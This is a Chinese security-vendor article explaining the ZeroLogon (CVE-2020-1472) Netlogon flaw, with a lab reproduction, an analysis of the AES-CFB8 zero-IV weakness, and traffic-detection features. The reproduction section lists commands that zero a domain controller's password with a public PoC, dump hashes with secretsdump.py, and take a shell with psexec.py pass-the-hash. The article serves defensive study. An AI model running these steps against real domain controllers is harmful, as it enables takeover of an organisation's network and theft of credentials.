freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透中ZeroLogon的利用及分析,AD域安全不容忽视
2022-04-22 15:50:40
所属地 江苏省

前言

在较大的企业、政企、高校等单位的网络信息化建设中,域环境常常是内部网络建设的重要一部分。而从现有网络安全建设来看,大部分单位的内部网络的安全性往往做的没有边界严格,因为网络防御的重点基本还是集中在网络边界上。

随着黑产团伙网络攻击事件的频频发生,在攻击者“穿过”单位网络的“边界防御”后,内部网络无疑是攻击者不会轻易放过的“香饽饽”。黑客经常会利用AD域(Active Directory Domain)作为首要攻击目标,特别是域控服务器,一旦其沦陷,基本上可以认为整个域已宣告失陷;以ATT&CK视角来看,整个过程黑客涉及了网络攻击生命周期中的权限提升、内部侦察和横向移动阶段。

image.png

图1 网络攻击生命周期

本章将以域内提权漏洞——CVE-2020-1472进行介绍分析,聚铭网络流量智能分析审计产品支持对该漏洞利用的检测。

漏洞简介

image.png

image.png

图2 CVE-2020-1472

该漏洞还被发现者命名为ZeroLogon,实质上是Netlogon远程协议 (MS-NRPC) 中的一个身份验证绕过漏洞。

NetLogon远程协议是一种在Windows域控上使用的RPC接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。

Netlogon的功能之一是允许计算机对域控制器进行身份验证并更新它们在Active Directory中的密码,由于这个特殊功能导致了Zerologon漏洞。该漏洞允许攻击者冒充任何计算机到域控制器并更改其密码,包括域控制器本身的密码。导致攻击者获得管理访问权限并完全控制域控制器,从而完全控制网络。

漏洞复现

环境介绍

受害者:一台域控(DC)主机192.168.83.130

操作系统:Windows Server 2012 R2 Datacenter

主机名:dc

IP地址:192.168.83.130

攻击者:Win7192.168.83.1(该台主机应与DC在同个网络)

攻击步骤

Step1:置空密码

直接利用POC对DC发起置空密码攻击

python cve-2020-1472-exploit.py dc 192.168.83.130

#dc为域控的计算机名IP为dc的IP地址

image.png

图3 置空密码

Step2:获取HASH

切换到impacket/example目录利用secretsdump.py来获取相关的HASH

python secretsdump.py deeper.com/dc$@192.168.83.130 -no-pass

#deeper.com为域名称,dc为域控计算机名称,后面跟域控IP

image.png

图4 获取HASH

Step3:获取SHELL

在/impacket/example目录下利用psexec.py和上面获取的administrator的hash值获取shell

python psexec.py deeper.com/Administrator@192.168.83.130 -hashes :7c6cab7ad63589567f0f1692851e0875

image.png

图5 获取SHELL

漏洞原理

image.png

图6 zerologon

Netlogon协议使用的是自定义的对称加密协议来让客户端(加入域的计算机)和服务器(域控制器)向对方证明身份安全,此共享加密是客户端计算机账户密码的HASH值。Netlogon会话由客户端启动,因此客户端和服务器先交换随机的8个字节——challenge,客户端和服务器都先将密钥派生函数加密以获取会话密钥Session Key,然后客户端使用此会话密钥用于计算客户端凭据Client credential,服务器则重新计算相同的凭证。客户端必须知道计算机密码的HASH才能计算获得SessionKey,客户端知道会话密钥后才能做加密认证。

image.png

图7 netlogon认证协议

客户端和服务器都是用的加密原句在函数中实现生成凭据为ComputeLogOneCredential,称为协议规范。这个函数接受8字节的输入并通过加密会话对其进行转换产生相等长度输出的key,假设它不知道会话密钥将无法计算正确的输出及匹配的某个输入。

这个函数有两个版本,基于3DES以及AES,取决于客户端在身份验证期间设置的标志,基本上使用的都是AES。AES分组密码需要输入16个字节并将其置换为大小相等的输出,操作模式必须加密较大或较小的输入,为了被选中,ComputeLogEncredential利用模糊的CFB8(8位密码)模式只需转换8个字节,这个模式大约是普通模式的16倍。

AES-CFB8对明文的每个字节进行加密,方法是预先加上前缀一个16字节的初始化向量,然后将AES应用于IV+明文的前16个字节,取AES输出的第一个字节,并使用下一个明文字节。

image.png

图8 AES-CFB8操作模式的加密说明

为了能够加密会话,必须指定初始化向量(Initial Vector,即IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。但是ComputeLogOnCreddential函数定义的IV是固定的,由16字节全零内容构成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。

image.png

图9 AES-CFB8利用逻辑

CFB8模式下的全零IV存在安全性问题,因为AES是一种没有统计偏差的高质量加密方式,输入任何使用密钥加密的字符,输出中的每个位为0或1的概率都为50%。所以8个输出位全为零的几率为1/2的八次方,即1/256。 所以也就意味着有1/256的概率输出可以锁定为全0的状态。通过提交一个全0的ClientChallenge,然后再提交一个全0的Netlogon凭据计算,即使不知道sessionkey也可以在1/256的时间内得到正确的计算结果,因为始终是在对0进行加密。

image.png

图10 CFB8加密模式

流量分析

客户端尝试发出challenge,将Client Challenge值置为8个字节全0

image.png

图11 客户端发出测试请求

尝试的过程通常会出现大量STATUS_ACCESS_DENIED数据包。

image.png

图12 尝试失败报文特征

目前,聚铭网络流量智能分析审计系统完全支持对该漏洞攻击的检测,发现攻击数据后立即产生告警,效果如下:

image.png

图13 安全告警事件

【参考文章】

https://www.jianshu.com/p/7bd3f242c09c

https://www.anquanke.com/post/id/219374

# 系统安全 # 提权漏洞 # AD安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录